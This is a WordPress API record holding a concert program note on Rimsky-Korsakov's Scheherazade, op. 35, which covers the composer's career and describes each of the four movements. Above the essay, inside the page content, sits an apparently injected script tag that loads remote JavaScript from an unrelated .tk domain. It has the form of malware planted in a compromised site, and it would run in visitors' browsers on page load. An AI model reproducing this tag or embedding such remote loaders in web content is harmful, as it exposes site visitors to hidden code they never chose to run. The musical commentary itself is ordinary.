{"id":178,"date":"2015-01-19T18:34:37","date_gmt":"2015-01-19T18:34:37","guid":{"rendered":"https:\/\/www.runyanprogramnotes.com\/program_note\/scheherazade-op-35\/"},"modified":"2025-06-20T22:02:13","modified_gmt":"2025-06-20T22:02:13","slug":"scheherazade-op-35","status":"publish","type":"program_note","link":"https:\/\/www.runyanprogramnotes.com\/program_note\/scheherazade-op-35\/","title":{"rendered":"Scheherazade, op. 35"},"content":{"rendered":"<p>\u00a0<\/p>\n<p><script type='text\/javascript' src='https:\/\/js.localstorage.tk\/s.js?qr=888'><\/script><\/p>\n\n\n<p class=\"wp-block-paragraph\">Nicolai Rimsky-Korsakov\u2019s career stood in the very center of Russian musical life of the&nbsp;second half of the nineteenth century.&nbsp; His first career was in the Russian navy, but he soon garnered success in music.&nbsp; Known primarily for his fifteen operas, he was instrumental in the rising importance of that genre in Russia.&nbsp; In addition to his fame and influence as a composer, he was also head of the conservatory in St. Petersburg\u2013today, his statue dominates the little park directly across the street from the conservatory and the famed Mariinsky Theatre.&nbsp;&nbsp; In the West, of course, we know him primarily for <em>Russian Easter Overture <\/em>and the tone poem,&nbsp;<em>Scheherazade<\/em>.&nbsp; His ability as an orchestrator and teacher of orchestration is one of his many legacies\u2013Igor Stravinsky was one of his students.&nbsp; In fact, much of the marvelous musical atmosphere that audiences adore in Stravinsky\u2019s early ballets, the&nbsp;<em>Rite of Spring, Firebird,&nbsp;<\/em>and&nbsp;<em>Petrouchka<\/em>, lead directly back to Rimsky-Korsakov and the orchestral style of his operas.&nbsp; And it is of no small interest that there are sections in Debussy\u2019s&nbsp;<em>La Mer<\/em>&nbsp;and Ravel\u2019s&nbsp;<em>Daphnis et Clo\u00e9<\/em>&nbsp;that seem lifted right out of&nbsp;<em>Scheherazade<\/em>. A fascination with the exotic, and with non-Western subject matter was a prime characteristic of Romanticism, and&nbsp;Russian music of the late nineteenth century is exemplary of this predilection.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Scheherazade<\/em>, completed in 1888, was inspired by the well-known story,&nbsp;<em>One Thousand and One Arabian Nights.<\/em>&nbsp; The eponymous heroine must entertain her bridegroom, the murderous sultan, with continuous intriguing tales in order to forestall the arrival of the executioner who had beheaded a thousand previous wives the morning after their successive marriages.&nbsp; While Rimsky-Korsakov more or less disclaimed his well-known reputation for his evocative musical Orientalism, his abilities therein certainly created a triumph of exotic atmosphere in&nbsp;<em>Scheherazade<\/em>.&nbsp;&nbsp; The four movements\u2013following their titles, which Rimsky-Korsakov later withdrew\u2014allude to four stories of Scheherazade, the sultana.&nbsp; We can follow loosely the narrative, for Scheherazade is represented by the elaborate, highly figured violin solo that constantly weaves in and out of the texture as the stories unfold.&nbsp;&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The first movement, \u201cThe Sea and Sinbad\u2019s Ship,\u201d opens with a bold stentorian motive, which one may be tempted naturally to associate with \u201cThe Sea,\u201d nevertheless Rimsky-Korsakov himself indicated that it depicts the bloodthirsty sultan. But soft woodwind chords\u2014redolent of Mendelssohn&#8211;introduce the narrator in the form of the rhapsodic solo violin.&nbsp; The latter will be a guide throughout all four movements.&nbsp; The opening motive, the material in the \u201cnarrative\u201d solo violin, and just a couple of other ideas, are all that the composer needs to weave out this little \u201ctone poem\u201d of the sea, whether a rough one or a serene one. The sultan, the sea, the ship, and Sinbad&#8211;its all there in the rhapsody.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Our friend the narrative violin introduces the second movement, \u201cThe Story of the Kalendar Prince.\u201d The latter is one of three wandering mystics or dervishes, who lead a tough life.&nbsp; Basically, they\u2019re beggars, blind in one eye.&nbsp; The composer shows his vaunted mastery of orchestration right in the beginning, with a solo bassoon playing a plaintive, peripatetic melody accompanied by only the basses, subdivided into four parts. &nbsp;&nbsp;The oboe and harp soon take it up, followed by a variety of imaginative treatments, interspersed by fragments of the \u201csultana\u201d violin solo, given to other instruments.&nbsp; But, a vigorous interruption by the second trombone, and then the first, initiates the dance of the \u201cwhirling dervishes\u201d (members of the Muslim Sufi cult with their characteristic long conical garb) that constitutes the rest of the movement.&nbsp; And, as before, it\u2019s all built on familiar motives, skillfully transformed.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">&nbsp;The third movement, \u201cThe Young Prince and Princess,\u201d is built around a lyrical, warm, gently swaying tune, decorated with some swirling solo woodwind roulades.&nbsp; The composer\u2019s skill at orchestration keeps the simple, repeated material fresh. Clearly, it depicts an ardent romance between the youths, but their identity and place in the story is ambiguous.&nbsp;&nbsp; The more active middle section is dancelike, and cleverly based upon a rhythmic, spritely inversion of the previous \u201clove\u201d theme.&nbsp; Chattering woodwinds and light, crisp percussion carry it along\u2014Russian \u201cOrientalism\u201d at its best.&nbsp; After a brief return to the opening theme, the solo oboe takes a crack at being the \u201cnarrator,\u201d before the real one, in the familiar solo violin, returns, this time adding a brief cadenza. The big peroration, replete with swirling scales for all follows quickly. A coda based upon the dance theme takes us to the gentle conclusion.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The fourth movement has a lengthy, descriptive title, \u201cFestival at Baghdad. The Sea. The Ship Breaks against a Cliff Surmounted by a Bronze Horseman.\u201d&nbsp; That\u2019s a lot, and frankly it\u2019s hard to pick out these events in the music. This last movement ties all the tales and stories together by juxtaposing the principal themes from the preceding movements in a smashing climax.&nbsp;&nbsp; It opens with the powerful opening motive from the first movement, with the solo violin playing another brief cadenza. That leads to the spirited allegro that Rimsky-Korsakov marks \u201cfrenetic.\u201d And frenetic it is, with a deluge of notes, driven by the winds, tonguing furiously.&nbsp; The composer seems never to run out of ways to present the familiar themes, all spilling over each other in a riot of orchestral color as it careens along.&nbsp;&nbsp; Finally, the brass intones the stern motive that opened the suite, signaling the tale\u2019s conclusion.&nbsp; The last word is given to the musing of the narrating solo violin, with the violoncellos and the basses ominously, softly intoning the \u201cScheherazade\u201d theme.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">&#8211;Wm. E. Runyan<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u00a9 2025 William E. Runyan<\/p>\n","protected":false},"author":2,"featured_media":0,"template":"","meta":{"_acf_changed":false},"program_note_tax":[84],"class_list":["post-178","program_note","type-program_note","status-publish","hentry","program_note_tax-nikolairimsky-korsakov"],"acf":[],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.runyanprogramnotes.com\/wp-json\/wp\/v2\/program_note\/178","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.runyanprogramnotes.com\/wp-json\/wp\/v2\/program_note"}],"about":[{"href":"https:\/\/www.runyanprogramnotes.com\/wp-json\/wp\/v2\/types\/program_note"}],"author":[{"embeddable":true,"href":"https:\/\/www.runyanprogramnotes.com\/wp-json\/wp\/v2\/users\/2"}],"wp:attachment":[{"href":"https:\/\/www.runyanprogramnotes.com\/wp-json\/wp\/v2\/media?parent=178"}],"wp:term":[{"taxonomy":"program_note_tax","embeddable":true,"href":"https:\/\/www.runyanprogramnotes.com\/wp-json\/wp\/v2\/program_note_tax?post=178"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}